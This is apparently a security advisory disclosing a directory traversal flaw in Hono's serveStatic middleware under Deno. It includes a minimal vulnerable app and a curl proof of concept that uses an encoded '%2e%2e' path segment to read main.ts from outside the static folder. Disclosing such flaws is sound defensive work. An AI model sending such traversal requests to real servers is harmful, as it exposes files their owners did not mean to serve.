Hono vulnerable to Restricted Directory Traversal in serveStatic with deno

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/[email protected]/mod.ts'
import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.